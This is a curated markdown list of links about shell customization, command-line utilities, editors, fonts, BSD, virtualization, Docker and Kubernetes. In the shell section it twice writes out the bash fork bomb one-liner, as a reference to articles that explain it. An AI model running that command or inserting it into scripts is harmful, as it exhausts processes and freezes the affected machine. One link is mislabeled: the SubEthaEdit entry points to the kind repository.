- [How to Jazz Up Your Bash Terminal](https://medium.freecodecamp.org/jazz-up-your-bash-terminal-a-step-by-step-guide-with-pictures-80267554cb22)— A Step By Step Guide With Pictures
- [powerline-shell](https://github.com/b-ryan/powerline-shell): A beautiful and useful prompt for your shell
- Z shell files:
- [Zim](https://github.com/zimfw/zimfw/) is a Zsh configuration framework with blazing speed and modular extensions.
- [oh-my-zsh](https://github.com/robbyrussell/oh-my-zsh): A delightful community-driven (with 1,100+ contributors) framework for managing your zsh configuration.
- [powerlevel9k](https://github.com/bhilburn/powerlevel9k): The most awesome Powerline theme for ZSH around!
- [zplug](https://github.com/zplug/zplug): 🌺 A next-generation plugin manager for zsh
- [Z shell configuration](https://github.com/SixArm/sixarm_zsh_config): SixArm.com → Z shell → zsh configuration
- [Pure](https://github.com/sindresorhus/pure): Pretty, minimal and fast ZSH prompt
- [powerlevel10k](https://github.com/romkatv/powerlevel10k): Powerlevel10k is a theme for Zsh. It emphasizes speed, flexibility and out-of-the-box experience.
- Fish:
- [fish-shell](https://github.com/fish-shell/fish-shell): The user-friendly command line shell.
- [fisherman](https://github.com/fisherman/fisherman): The fish-shell plugin manager.
- [15 Tips On How to Use 'Curl' Command in Linux](https://www.tecmint.com/linux-curl-command-examples/)
- [GoAWK](https://github.com/benhoyt/goawk): an AWK interpreter written in Go
- [Lambda Shell](http://www.lambdashell.com/)
- [Understanding Bash fork() Bomb ~ :(){ :|:& };:](https://www.cyberciti.biz/faq/understanding-bash-fork-bomb/)
- [bat](https://github.com/sharkdp/bat): A cat(1) clone with wings.
- [Clipboard](https://github.com/Slackadays/Clipboard): Cut, copy, and paste anything, anytime, anywhere.
- [30 Handy Bash Shell Aliases For Linux / Unix / Mac OS X](https://www.cyberciti.biz/tips/bash-aliases-mac-centos-linux-unix.html)
- [kitty](https://sw.kovidgoyal.net/kitty/) - the fast, featureful, GPU based terminal emulator. [github](https://github.com/kovidgoyal/kitty)
- [xsv](https://github.com/BurntSushi/xsv): A fast CSV command line toolkit written in Rust.
- [PaperTTY](https://github.com/joukos/PaperTTY): PaperTTY - Python module to render a TTY on e-ink
- [smenu](https://github.com/p-gen/smenu): Terminal utility that allows you to use words coming from the standard input to create a nice selection wi
- [shark](https://github.com/satyarohith/shark): A CLI to Interact with DigitalOcean
- [t](https://github.com/sferik/t): A command-line power tool for Twitter.
- [up](https://github.com/akavel/up): Ultimate Plumber is a tool for writing Linux pipes with instant live preview
- [tztail](https://github.com/thecasualcoder/tztail): tztail (TimeZoneTAIL) allows you to view logs in the timezone you want.
- [Command-Line Snippets](https://snippets.shodan.io/): A place to share useful, one-line commands that make your life easier.
- [Writing Safe Shell Scripts](https://sipb.mit.edu/doc/safe-shell/): Writing shell scripts leaves a lot of room to make mistakes, in ways that will cause your scripts to break on certain input, or (if some input is untrusted) open up security vulnerabilities. Here are some tips on how to make your shell scripts safer.
- [funky](https://github.com/bbugyi200/funky):Funky takes shell functions to the next level by making them easier to define, more flexible, and more interactive.
- [Google Shell Style Guide](https://google.github.io/styleguide/shell.xml).
- [hexyl](https://github.com/sharkdp/hexyl): A command-line hex viewer.
- [Bass](https://github.com/edc/bass): Make Bash utilities usable in Fish shell.
- [Bash scripting cheatsheet](https://devhints.io/bash.html).
- [Problem solving with Unix commands](http://vegardstikbakke.com/unix/): I am starting to realize that the Unix command-line toolbox can fix absolutely any problem related to text wrangling. Let me tell you about a problem I had, and how I used some Unix command-line utilities to solve it.
- [Testing Bash with BATS](https://opensource.com/article/19/2/testing-bash-bats): The Bash Automated Testing System puts Bash code through the same types of testing processes used by Java, Ruby, and Python developers.
- [How to remove duplicate lines from files keeping the original order](https://iridakos.com/how-to/2019/05/16/remove-duplicate-lines-preserving-order-linux.html)
- [4 cool terminal multiplexers](https://fedoramagazine.org/4-cool-terminal-multiplexers/)
- [Set your terminal to automatically use tmux](https://fedoramagazine.org/4-tips-better-tmux-sessions/)
- [Tmux Tutorial](https://leimao.github.io/blog/Tmux-Tutorial/)
- [Pretty PuTTY](https://github.com/jacktrocinski/pretty-putty): Make PuTTY pretty and apply modern PuTTY settings.
- Getopts:
- [Parsing bash script options with getopts](https://sookocheff.com/post/bash/parsing-bash-script-arguments-with-shopts/)
- [Bash Getopts](https://linuxhint.com/bash_getopts_example/)
- [Com getopts, seus scripts ficam mais profissionais](https://www.ibm.com/developerworks/community/blogs/752a690f-8e93-4948-b7a3-c060117e8665/entry/getopts_scripts_mais_profissionais?lang=en)
- [Fatiando opções com o getopts](https://www.dicas-l.com.br/arquivo/fatiando_opcoes_com_o_getopts.php)
- [Getopts - Opções em bash script](http://www.dicas-l.com.br/arquivo/getopts_opcoes_em_bash_script.php)
- [arg_parse_example](https://github.com/mattbryson/bash-arg-parse/blob/master/arg_parse_example)
- [How Bash completion works](https://tuzz.tech/blog/how-bash-completion-works)
- [pure bash bible](https://github.com/dylanaraps/pure-bash-bible): 📖 A collection of pure bash alternatives to external processes.
- [bash.generate.random.alphanumeric.string.sh](https://gist.github.com/earthgecko/3089509)
- [Grep OR – Grep AND – Grep NOT – Match Multiple Patterns](https://www.shellhacks.com/grep-or-grep-and-grep-not-match-multiple-patterns/)
- [asdf-vm](https://asdf-vm.com/): [Manage multiple runtime versions with a single CLI tool](https://github.com/asdf-vm/asdf)
- [treating errors in bash scripts](https://twitter.com/b0rk/status/1314345978963648524/photo/1) by b0rk
- ```set -e``` : stops the script on errors
- ```set -u``` : stops the script on unset variables
- ```set -o pipefail``` : stops the script on a run in pipe
- [Fork() Bomb](https://www.geeksforgeeks.org/fork-bomb/): ``` :(){ :|: & };: ```
- [eDEX-UI](https://github.com/GitSquared/edex-ui): A cross-platform, customizable science fiction terminal emulator with advanced monitoring & touchscreen support.
- [How To Use Bash Parameter Substitution Like A Pro](https://www.cyberciti.biz/tips/bash-shell-parameter-substitution-2.html)
### Shell Utils
- [wttr.in](https://github.com/chubin/wttr.in): The right way to check the weather. wttr.in is a console-oriented weather forecast service that supports various information representation methods like terminal-oriented ANSI-sequences for console HTTP clients (curl, httpie, or wget), HTML for web browsers, or PNG for graphical viewers.
- [Linux Terminal Goods](http://diego-pacheco.blogspot.com/2019/09/linux-terminal-goods.html)
- [navi](https://github.com/denisidoro/navi): An interactive cheatsheet tool for the command-line
- [cast.sh](https://github.com/hericlesme/cast-sh): An adorable instance of your terminal in your browser
- [Tuning your bash or zsh shell on Fedora Workstation and Silverblue](https://fedoramagazine.org/tuning-your-bash-or-zsh-shell-in-workstation-and-silverblue/)
- [forgit](https://github.com/wfxr/forgit) is a utility tool for git taking advantage of fuzzy finder fzf. [Interactive Git Commands With Previews Powered By fzf Fuzzy Finder](https://www.linuxuprising.com/2019/11/forgit-interactive-git-commands-with.html)
- [shellshare](https://github.com/vitorbaptista/shellshare): Live terminal broadcasts
- [tdiff](https://github.com/F-i-f/tdiff): Tree diff - diff, with mode, owner, permissions and other inode attributes.
- [10 Tools To Add Some Spice To Your UNIX/Linux Shell Scripts](https://www.cyberciti.biz/tips/spice-up-your-unix-linux-shell-scripts.html)
- [bash scripts](https://github.com/bing0o/bash_scripting) I use daily to automate some stuff and make linux easier.
- [Camel Snake Kebab](https://github.com/vandot/casbab): CLI "tool" and a bash "library" for Camel/Snake/Kebab case conversion
- [nat](https://github.com/willdoescode/nat): the 'ls' replacement you never knew you needed.
- [pynubank](https://github.com/andreroggeri/pynubank): Acesse seus extratos do Nubank pelo Python
- [IPython as a system shell](https://ipython.readthedocs.io/en/stable/interactive/shell.html)
- [sw](https://github.com/coryfklein/sw): Terminal stopwatch.
- [Coreutils Gotchas](https://www.pixelbeat.org/docs/coreutils-gotchas.html): We make very careful considerations about the interface and operation of the GNU coreutils, but unfortunately due to backwards compatibility reasons, some behaviours or defaults of these utilities can be confusing.
- [cheat.sh](https://github.com/chubin/cheat.sh): the only cheat sheet you need.
- [Explainshell](https://explainshell.com/): write down a command-line to see the help text that matches each argument. [repo](https://github.com/idank/explainshell)
### Regex
- [The true power of regular expressions](https://nikic.github.io/2012/06/15/The-true-power-of-regular-expressions.html)
- [TRE](http://ducktape.blot.im/tre-a-regex-engine-with-approximate-matching): A Regex Engine with Approximate Matching
- [Deu match](http://turicas.info/slides/expressoes-regulares/): limpando dados com expressões regulares
- [Rant](https://github.com/TheBerkin/rant): The all-purpose procedural text library
- [Regex Crossword](https://regexcrossword.com/): Welcome to the fantastic world of nerdy regex fun! Start playing by selecting one of the puzzle challenges below. There are a wide range of difficulties from beginner to expert.
- [Intro to Regex for Web Developers](https://dev.to/chrisachard/intro-to-regex-for-web-developers-2fj4)
- [pythex](https://pythex.org/): pythex is a quick way to test your Python regular expressions.
### Editors
- [vscode-cpptools](https://github.com/Microsoft/vscode-cpptools): Official repository for filing issues against and getting support for the Microsoft C/C++ extension for VS Code
- [SubEthaEdit](https://github.com/kubernetes-sigs/kind): Code, Write, Edit. Together. [github](https://github.com/subethaedit/SubEthaEdit)
- [Open source collaborative text editors](https://juretriglav.si/open-source-collaborative-text-editors/)
- [vscodium](https://github.com/VSCodium/vscodium): binary releases of VS Code without MS branding/telemetry/licensing
- [A succinct cheat sheet for newbie linux coders and system administrators, documenting some of the more obscure and useful gems of linux lore. Intended to be viewed in emacs org-mode, or VimOrganizer, though any text editor will suffice.](https://github.com/kevinthew/linuxgems)
#### Vim/vi
- [Spotify integration for vim](https://github.com/mattpenney89/vimify)
- [Vim plugin](https://github.com/mechatroner/rainbow_csv): Highlight columns in CSV and TSV files and run queries in SQL-like language
- [vim-prettier](https://github.com/prettier/vim-prettier): A Vim plugin for Prettier
- [vimium](https://github.com/philc/vimium): Vimium is a Chrome extension that provides keyboard-based navigation and control of the web in the spirit of the Vim editor.
- [vimari](https://github.com/guyht/vimari): Safari port of vimium
- [vim-plug](https://github.com/junegunn/vim-plug): hibiscus Minimalist Vim Plugin Manager
- [gruvbox](https://github.com/morhetz/gruvbox): Retro groove color scheme for Vim
- [vim-hue](https://foolcontrol.org/?p=3051): Thus “vim-hue” was born, featuring “vim-hue” dark Vim colorscheme and complete Vim configuration. Ideal for anyone using Vim and any of the following on daily basis: Shell (Bash), Golang, Python, Terraform, Ansible, Docker (Dockerfile), et cetera ... [github](https://github.com/AdnanHodzic/vim-hue)
- [Open File And Go To Specific Function or Line Number](https://www.cyberciti.biz/faq/linux-unix-command-open-file-linenumber-function/)
### Monospaced Fonts
- [Cascadia Code](https://github.com/microsoft/cascadia-code): This is a fun, new monospaced font that includes programming ligatures and is designed to enhance the modern look and feel of the Windows Terminal.
- [DejaVu Sans Code](https://github.com/SSNikolaevich/DejaVuSansCode): monospaced font with programming ligatures
- [FiraCode](https://github.com/tonsky/FiraCode): monospaced font with programming ligatures
- [Fixedsys Excelsior](https://github.com/kika/fixedsys): font with programming ligatures
- [Hasklig](https://github.com/i-tu/Hasklig): a code font with monospaced ligatures
- [Iosevka](https://typeof.net/Iosevka/)
- [Monoid](https://larsenwork.com/monoid/): Open Source Coding Font
- [Victor Mono](https://rubjo.github.io/victor-mono/): Victor Mono is a free programming font with optional semi-connected cursive italics, symbol ligatures (!=, ->>, =>, ===, <=, >=, ++) and Latin, Cyrillic and Greek characters.
- [JetBrains Mono](https://www.jetbrains.com/lp/mono/): A typeface for developers_
- [nerd-fonts](https://github.com/ryanoasis/nerd-fonts): Iconic font aggregator, collection, & patcher. 3,600+ icons, 50+ patched fonts: Hack, Source Code Pro, more. Glyph collections: Font Awesome, Material Design Icons, Octicons, & more
### Random Shell tips
- [shell/bash generate random alphanumeric string](https://gist.github.com/earthgecko/3089509)
- [Strings handler written in Bash](https://github.com/henriquemoody/string.bash)
- [30 Handy Bash Shell Aliases For Linux / Unix / Mac OS X](https://www.cyberciti.biz/tips/bash-aliases-mac-centos-linux-unix.html)
- [How to Compare Numbers, Strings and Files in Bash Shell Script](https://www.linuxtechi.com/compare-numbers-strings-files-in-bash-script/)
## Other Resources
- [16 Linux Books and Videos for System Administrator](https://geekflare.com/linux-books-videos/)
- [SSH Examples, Tips & Tunnels](https://hackertarget.com/ssh-examples-tunnels/)
- [Power of SSH Tunneling](https://medium.com/tarkalabs/power-of-ssh-tunneling-cf82bc56da67)
- [Fighting complexity in software development](https://github.com/atsapura/CardManagement/blob/master/article/Fighting%20complexity%20in%20software%20development.md)
- [Building interactive SSH applications](https://drewdevault.com/2019/09/02/Interactive-SSH-programs.html)
- [Automated Environment Configurations](https://github.com/leimao/Automated_Environment_Configurations/tree/master/Ubuntu-18.04-LTS): Environment Configuration Bash Scripts for New Operating Systems - Nvidia/Docker, Intel-MKL and gRPC for Ubuntu 18.04 LTS.
- [A little SSH file copy magic at the command line](https://www.redhat.com/sysadmin/ssh-file-copy-magic)
- [curl better](https://www.slideshare.net/bagder/curl-better), [video](https://www.youtube.com/watch?v=Pi0PLntuP9k&feature=youtu.be)
- [How to see Time-To-Live (TTL) for a DNS record](https://www.cyberciti.biz/faq/how-to-see-time-to-live-ttl-for-a-dns-record/)
- [How to test and validate DNSSEC using dig command line](https://www.cyberciti.biz/faq/unix-linux-test-and-validate-dnssec-using-dig-command-line/)
- [linuxupskillchallenge](https://www.linuxupskillchallenge.org/): Learn the skills required to sysadmin a remote Linux server from the commandline. [gitrepo](https://github.com/snori74/linuxupskillchallenge)
- [Replacing Dropbox in favor of DigitalOcean spaces](https://mitjafelicijan.com/replacing-dropbox-in-favor-of-digitalocean-spaces.html)
- [My Writing & Coding Workflow](http://jacobzelko.com/workflow/)
### Books
- [BPF Performance Tools](http://www.brendangregg.com/blog/2019-07-15/bpf-performance-tools-book.html): Linux System and Application Observability (book)
## Filesystems
- [diskover](https://n0where.net/file-system-crawler-diskover): File System Crawler. [github](https://github.com/shirosaidev/diskover)
- [BetrFS](http://www.betrfs.org): The Bε-tree File System, or BetrFS, is an in-kernel file system that uses Bε trees to organize on-disk storage. Bε trees are a write-optimized dictionary, and offer the same asymptotic behavior for sequential I/O and point queries as a B-tree. [github](https://github.com/oscarlab/betrfs).
- [exFAT](https://github.com/relan/exfat): Free exFAT file system implementation
- [Share NFS Home Directories Securely with Kerberos](https://fedoramagazine.org/secure-nfs-home-directories-kerberos/)
- [folderstats](https://github.com/njanakiev/folderstats): Python module that creates statistics from a folder structure
- [Rethinking files](https://www.devever.net/~hl/objectworld)
- [Stratis](https://stratis-storage.github.io/) is a local storage-management solution for Linux that can assist with the initial configuration and ongoing management of storage. [stratisd](https://github.com/stratis-storage/stratisd)
- [Recover your files from Btrfs snapshots](https://fedoramagazine.org/recover-your-files-from-btrfs-snapshots/)
## *nix/BSD
- [UNIX Syscalls](https://john-millikin.com/unix-syscalls)
- [KVM virt-install: Install OpenBSD As Guest Operating System - nixCraft](https://www.cyberciti.biz/faq/kvmvirtualization-virt-install-openbsd-unix-guest/)
- [SCCS](http://sccs.sourceforge.net): is an implementation of the POSIX standard Source Code Control System. It provides actively maintained code based on the original UNIX SCCS code OpenSourced by Sun as part of OpenSolaris and was made portable to other platforms.
- (pt-br) [hoc](https://github.com/ramalho/hoc): A mini-linguagem do livro 'The Unix Programming Environment", com explicações em PT-BR
- [s-tui](https://amanusk.github.io/s-tui/): s-tui is a terminal UI for monitoring your computer. [github](https://github.com/amanusk/s-tui), [news](https://www.cyberciti.biz/python-tutorials/monitor-linux-cpu-temperature-frequency-power-in-a-graphical-way/)
- [unix-history-repo](https://github.com/dspinellis/unix-history-repo): Continuous Unix commit history from 1970 until today.
- [Collapse OS](https://collapseos.org/) to soften the blow. It is a z80 kernel and a collection of programs, tools and documentation that allows you to assemble an OS.
- [Guix Reduces Bootstrap Seed by 50%](https://guix.gnu.org/blog/2019/guix-reduces-bootstrap-seed-by-50/)
- [Netflix Optimized FreeBSD's Network Stack More Than Doubled AMD EPYC Performance](https://www.phoronix.com/scan.php?page=news_item&px=Netflix-NUMA-FreeBSD-Optimized), [slides](https://2019.eurobsdcon.org/slides/NUMA%20Optimizations%20in%20the%20FreeBSD%20Network%20Stack%20-%20Drew%20Gallatin.pdf)
- [NetBSD code study](http://silas.net.br/codereading/netbsd-code.html)
- [File Descriptor Transfer over Unix Domain Sockets](https://medium.com/@copyconstruct/file-descriptor-transfer-over-unix-domain-sockets-dcbbf5b3b6ec)
- [macOS to FreeBSD migration a.k.a why I left macOS](https://antranigv.am/weblog_en/posts/macos_to_freebsd/)
- [lvgl](https://github.com/lvgl/lvgl): Powerful and easy-to-use embedded GUI with many widgets, advanced visual effects (opacity, antialiasing, animations) and low memory requirements (16K RAM, 64K Flash).
- [illumos](https://github.com/illumos/ipd): illumos Project Discussion
- OpenBSD:
- [Running OpenBSD on Raspberry Pi 3](https://www.tumfatig.net/20180706/running-openbsd-on-raspberry-pi-3/)
- [OpenBSD 6.8 on RaspberryPi 4 B](https://github.com/AshyIsMe/openbsd-rpi4)
- [OpenBSD on the Raspberry Pi 3B](https://brainsnapped.com/2020/10/22/openbsd-on-the-raspberry-pi-3-model-b/)
- [Getting OpenBSD running on Raspberry Pi 3](https://undeadly.org/cgi?action=article&sid=20170409123528)
- Nvidia (CUDA):
- NVIDIA [tensorflow](https://github.com/NVIDIA/tensorflow)
- [Kernel module signing facility](https://www.kernel.org/doc/html/v4.10/admin-guide/module-signing.html)
- [Automatic Signing of DKMS-Generated Kernel Modules for Secure Boot (Nvidia Driver on CentOS 8 as Example)](https://gist.github.com/lijikun/22be09ec9b178e745758a29c7a147cc9)
- [Brisk Guide to Install Tensorflow GPU on Linux Machine (Ubuntu 18.04/18.10)](https://medium.com/@redowan/no-bullshit-guide-on-installing-tensorflow-gpu-ubuntu-18-04-18-10-238924cc4a6a)
- [How to enable NVIDIA GPUs in containers on bare metal in RHEL 8](https://www.redhat.com/en/blog/how-use-gpus-containers-bare-metal-rhel-8)
- [Using nVidia with SELinux](https://blog.siphos.be/2017/08/using-nvidia-with-selinux/)
- [Setting the NVIDIA GPU as primary (RPMFusion driver in Fedora 32 Workstation)](https://www.reddit.com/r/Fedora/comments/ga1ek6/optimus_setting_the_nvidia_gpu_as_primary/)
- [CUDA + CuDNN install in Fedora/Ubuntu for Tensorflow-gpu guide.](https://gist.github.com/salilsaxena/d511e8c711381003e006599997c0ba6d)
- [Fedora 34/33/32 NVIDIA Drivers Install Guide](https://www.if-not-true-then-false.com/2015/fedora-nvidia-guide/#nvidia-install)
- [NVIDIA CUDA Installation Guide for Linux](https://docs.nvidia.com/cuda/pdf/CUDA_Installation_Guide_Linux.pdf)
- [nvidia-auto-installer-for-fedora](https://github.com/t0xic0der/nvidia-auto-installer-for-fedora): A CLI tool which lets you install proprietary NVIDIA drivers and much more easily on Fedora 32 and above.
## Virtualization
- [Windows 2000 on your browser](https://bellard.org/jslinux/vm.html?url=https://bellard.org/jslinux/win2k.cfg&mem=192&graphic=1&w=1024&h=768)
- [hvpp](https://github.com/wbenny/hvpp) is a lightweight Intel x64/VT-x hypervisor written in C++ focused primarily on virtualization of already running operating system
- [Windows 95](https://github.com/felixrieseberg/windows95) in Electron. Runs on macOS, Linux, and Windows.
- [q3vm](https://github.com/jnz/q3vm): Q3VM - Embeddable bytecode virtual machine/interpreter for C-language input
- [Hypervisor From Scratch – Part 1: Basic Concepts & Configure Testing Environment](https://rayanfam.com/topics/hypervisor-from-scratch-part-1/)
- [anbox](https://github.com/anbox/anbox): Anbox is a container-based approach to boot a full Android system on a regular GNU/Linux system
- [UNSAT](https://unsat.cs.washington.edu/projects/hyperkernel/): Hyperkernel
- [Largest small system emulator](http://ioccc.org/2013/cable3/hint.html)
- [Intel Virtualisation](https://binarydebt.wordpress.com/2018/10/14/intel-virtualisation-how-vt-x-kvm-and-qemu-work-together/): How VT-x, KVM and QEMU Work Together
- [IncludeOS](https://github.com/hioa-cs/IncludeOS): is an includable, minimal unikernel operating system for C++ services running in the cloud.
- [kubectl trace](https://github.com/fntlnz/kubectl-trace): Schedule bpftrace programs on your kubernetes cluster using the kubectl
- [dive](https://github.com/wagoodman/dive): A tool for exploring each layer in a docker image
- [Firecracker](https://github.com/firecracker-microvm/firecracker): Secure and fast microVMs for serverless computing.
- [Introducing Crossplane](https://blog.upbound.io/introducing-crossplane-open-source-multicloud-control-plane/): Open Source Multicloud Control Plane. [github](https://github.com/crossplaneio/crossplane)
- [Write your Own Virtual Machine](https://justinmeiners.github.io/lc3-vm/) with [code repo](https://github.com/justinmeiners/lc3-vm)
- [Running FreeBSD on OSX using](https://dan.langille.org/2018/10/02/running-freebsd-on-osx-using-xhyve-a-port-of-bhyve/) [xhyve](https://github.com/machyve/xhyve), a port of [bhyve](http://www.bhyve.org/)
- [applepie](https://github.com/gamozolabs/applepie): A hypervisor for fuzzing built with WHVP and Bochs.
- [V3VEE](http://v3vee.org/) - An Open Source Virtual Machine Monitor Framework For Modern Architectures
- [IceBox](https://github.com/thalium/icebox): Icebox is a Virtual Machine Introspection solution that enable you to stealthily trace and debug any process (kernel or user). It's based on project Winbagility.
- [Create virtual machines with Cockpit in Fedora](https://fedoramagazine.org/create-virtual-machines-with-cockpit-in-fedora/)
- [Virtual Machines For Multi-Tenancy in Varnish](https://medium.com/@fwsgonzo/virtual-machines-for-multi-tenancy-in-varnish-1c619ea3276)
- [Libvirt](https://vyomtech.com/2013/12/17/libvirt_the_unsung_hero_of_cloud_computing.html)- The Unsung Hero of Cloud Computing
- [QIRA](https://github.com/geohot/qira): QEMU Interactive Runtime Analyser
- [Windows 10 on libvirt qemu 5](https://gist.github.com/heri16/adf14b938b429c556af28d62ebe78985)
- [Increase maximum USB devices in vm.conf](https://forum.proxmox.com/threads/increase-maximum-usb-devices-in-vm-conf.26551/)
- [Libvirt Hot Plugin USB - USB Hot Plugin for VMs](https://forums.unraid.net/topic/70001-libvirt-hot-plugin-usb-usb-hot-plugin-for-vms/)
- [usb-libvirt-hotplug](https://github.com/olavmrk/usb-libvirt-hotplug/blob/master/usb-libvirt-hotplug.sh)
- [GoTEE](https://github.com/f-secure-foundry/GoTEE): [Go Trusted Execution Environment](Go Trusted Execution Environment) (TEE).
- [Quickemu](https://github.com/wimpysworld/quickemu): Quickly create and run optimised Windows, macOS and Linux desktop virtual machines.
### OVF - Open Virtualization Format
- [File Formats for Virtual Machines](https://spin.atomicobject.com/2013/06/03/ovf-virtual-machine/)
- [OVF Tool - How to convert OVA to OVF](https://www.enterprisedaddy.com/2016/08/ovftool-convert-ova-to-ovf/)
- [Difference between OVA and OVF](https://sites.google.com/site/vblog77/notes/ovf-ova)
- [Converting OVA for use with KVM / QCOW2](https://edoceo.com/notabene/ova-to-vmdk-to-qcow2)
- [Export VM to OVA or OVF using OVF Tool – The Ultimate Guide](http://www.vmwarearena.com/export-vm-to-ova-or-ovf-using-ovf-tool/)
### KVM
- [OSX-KVM: Run El Capitan, macOS Sierra, High Sierra and Mojave on QEMU/KVM. No support is provided at the moment.](https://github.com/kholia/OSX-KVM)
- [macOS-Simple-KVM](https://github.com/foxlet/macOS-Simple-KVM/): Tools to set up a quick macOS VM in QEMU, accelerated by KVM.
- [How to migrate your Virtual Box machines to the KVM-VirtManager](https://www.utappia.org/2016/04/how-to-migrate-your-virtual-box.html)
- [virt-v2v to convert an ova file to qcow2 fails with error](https://access.redhat.com/solutions/2110391)
- [Windows 10 in KVM: change boot disk to Virtio](https://superuser.com/questions/1057959/windows-10-in-kvm-change-boot-disk-to-virtio)
- [How to migrate an IDE VM to a virtio VM?](https://unix.stackexchange.com/questions/134884/how-to-migrate-an-ide-vm-to-a-virtio-vm)
- [KVM Import an OVA Template](https://blogs.oracle.com/oda/kvm-import-an-ova-template)
- [Creating Virtual Machines in KVM: Part 2 — Networking](https://www.linux.com/topic/networking/creating-virtual-machines-kvm-part-2-networking/)
### VMware
- [The ghettoVCB](https://github.com/lamw/ghettoVCB) script performs backups of virtual machines residing. Here on [VMware Communities](https://code.vmware.com/samples/822/ghetto-vcb?h=Sample)
- [Concord-BFT](https://github.com/vmware/concord-bft): a Distributed Trust Infrastructure
- [Manually attach USB Device as a VMFS Datastore in ESXI](https://burnhamforensics.com/2019/01/31/manually-attach-usb-device-as-a-vmfs-datastore-in-esxi/)
- [V-Front Online Depot for VMware ESXi](https://vibsdepot.v-front.de/wiki/index.php/Welcome)
- [ESXi Community Packaging Tools](https://www.v-front.de/p/esxi-community-packaging-tools.html), [ESXi packages](https://vibsdepot.v-front.de/wiki/index.php/List_of_currently_available_ESXi_packages)
- [How to Mount a USB Drive as an ESXi Datastore](https://www.micronauts.us/2015/10/05/how-to-mount-a-usb-drive-as-an-esxi-datastore/)
- [ESXi commandline work](http://www.yellow-bricks.com/2011/11/16/esxi-commandline-work/)
- [Unregister invalid VMs using ESXi command-line](https://www.sbarjatiya.com/notes_wiki/index.php/Unregister_invalid_VMs_using_ESXi_command-line)
### Containers
- [A Practical Introduction to Container Terminology](https://developers.redhat.com/blog/2018/02/22/container-terminology-practical-introduction/)
- [Test containers with Python and Conu](https://fedoramagazine.org/test-containers-python-conu/)
- [etcd](https://github.com/etcd-io/etcd): Distributed reliable key-value store for the most critical data of a distributed system
- [cilium](https://github.com/cilium/cilium/): API Aware Networking and Security using BPF and XDP
- Vagrant:
- [landrush](https://github.com/vagrant-landrush/landrush): A Vagrant plugin that provides a simple DNS server for Vagrant guests
- [How to Use Vagrant with Libvirt on Linux](https://computingforgeeks.com/using-vagrant-with-libvirt-on-linux/)
- [bento](https://github.com/chef/bento): Packer templates for building minimal Vagrant baseboxes.
- [Vagrant Libvirt Provider](https://github.com/vagrant-libvirt/vagrant-libvirt).
- [vagrant](https://github.com/perkolatoriji/vagrant) DevOps#1 project: vagrant virtualbox ansible nginx apache2 prometheus grafana debian ubuntu linux
- Docker:
- [Awesome Docker](https://github.com/veggiemonk/awesome-docker): A curated list of Docker resources and projects.
- [Imagem CentOS7 com firefox ESR e warsaw configurado.](https://github.com/jsalatiel/wsbb-docker) (pt-BR) and [other](https://gist.github.com/dmouse/e76ce3d8dde00fe496da)
- [google chrome](https://github.com/c0b/chrome-in-docker) dockerized and [headless google chrome](https://github.com/eirslett/chrome-karma-docker), [another](https://github.com/miyakogi/pyppeteer)
- Some [fedora](https://github.com/fedora-cloud/docker-brew-fedora/) and [docker](https://docs.docker.com/samples/) links:
- [Webapps with Docker](https://github.com/docker/labs/blob/master/beginner/chapters/webapps.md)
- Various great [Dockerfiles](https://github.com/jessfraz/dockerfiles) by jessfraz (as usual)
- [Running a GUI application in a Docker container](https://linuxmeerkat.wordpress.com/2014/10/17/running-a-gui-application-in-a-docker-container/)
- [img](https://github.com/genuinetools/img): Standalone, daemon-less, unprivileged Dockerfile and OCI compatible container image builder.
- [rubber-docker](https://github.com/Fewbytes/rubber-docker): A workshop on Linux containers: Rebuild Docker from Scratch
- [tsuru](https://github.com/tsuru/tsuru): Open source, extensible and Docker-based Platform as a Service (PaaS).
- [awesome-tsuru](https://github.com/rafaeleyng/awesome-tsuru): Curated extensions and resources for Tsuru, the open source, extensible and Docker-based PaaS
- [Docker Immutable Workstation](https://github.com/mikadosoftware/workstation): Docker based portable Workstation
- [slim](https://github.com/ottomatica/slim): Build and run tiny vms from Dockerfiles. Small and sleek.
- [Intro Guide to Dockerfile Best Practices](https://blog.docker.com/2019/07/intro-guide-to-dockerfile-best-practices/)
- [docker-nginx-http3](https://github.com/RanadeepPolavarapu/docker-nginx-http3): Alpine Linux image with Nginx with HTTP/3 (QUIC), TLSv1.3, 0-RTT, brotli support. All built on the bleeding edge for max performance. Built on the edge, for the edge.
- [List Running Containers](https://www.shellhacks.com/docker-list-running-containers/)
- [How To Install Docker On Fedora 31](https://www.linuxuprising.com/2019/11/how-to-install-and-use-docker-on-fedora.html)
- [Installing docker on Fedora 31](https://medium.com/@drpdishant/installing-docker-on-fedora-31-beta-6c7a05901613)
- [Docker Cheat Sheet](https://www.docker.com/sites/default/files/d8/2019-09/docker-cheat-sheet.pdf)
- [Solving Docker permission denied while trying to connect to the Docker daemon socket](https://techoverflow.net/2017/03/01/solving-docker-permission-denied-while-trying-to-connect-to-the-docker-daemon-socket/)
- [Yacht](https://github.com/SelfhostedPro/Yacht): A web interface for managing docker containers with an emphasis on templating to provide 1 click deployments. Think of it like a decentralized app store for servers that anyone can make packages for.
- [Docker Exec - How to Connect to a Docker Container - LinuxBuz](https://linuxbuz.com/docker-tutorial/docker-exec-command-to-connect-to-docker-container)
- [How to expose port in Docker container](https://itsyndicate.org/blog/how-to-expose-port-in-docker-container/)
- [Docker Port Mapping by example](https://shravan-kuchkula.github.io/cloud/docker-port-mapping/#publish-all--p--and-publish--p-flags-to-map-ports)
- Dockerize LaTeX:
- [latex-docker](https://github.com/blang/latex-docker): Docker-based latex compilation
- [latex](https://github.com/ctornau/latex): Latex Docker Image
- [docker-latex](https://github.com/obedmr/docker-latex): LaTex Docker Container
- [Host Your Own LaTeX Server. A Good Practice to use Docker](https://medium.com/@shuangzizuobh2/host-your-own-latex-server-a-docker-example-2787531bf93b)
- [Three Ways to Create Dockernized LaTeX Environment](https://towardsdatascience.com/three-ways-to-create-dockernized-latex-environment-2534163ee0c4)
- Kubernetes:
- [Goldpinger](https://github.com/bloomberg/goldpinger): Debugging tool for Kubernetes which tests and displays connectivity between nodes in the cluster.
- [You might not need Kubernetes](https://blog.jessfraz.com/post/you-might-not-need-k8s/)
- [9 Kubernetes Security Best Practices Everyone Must Follow](https://www.cncf.io/blog/2019/01/14/9-kubernetes-security-best-practices-everyone-must-follow/)
- [kubernetes-workshop](https://github.com/eon01/kubernetes-workshop): ⚙️ A [Gentle introduction to Kubernetes](https://medium.com/faun/a-gentle-introduction-to-kubernetes-4961e443ba26) with more than just the basics. 🌟 Give it a star if you like it.
- [kind](https://github.com/kubernetes-sigs/kind): Kubernetes IN Docker - local clusters for testing Kubernetes
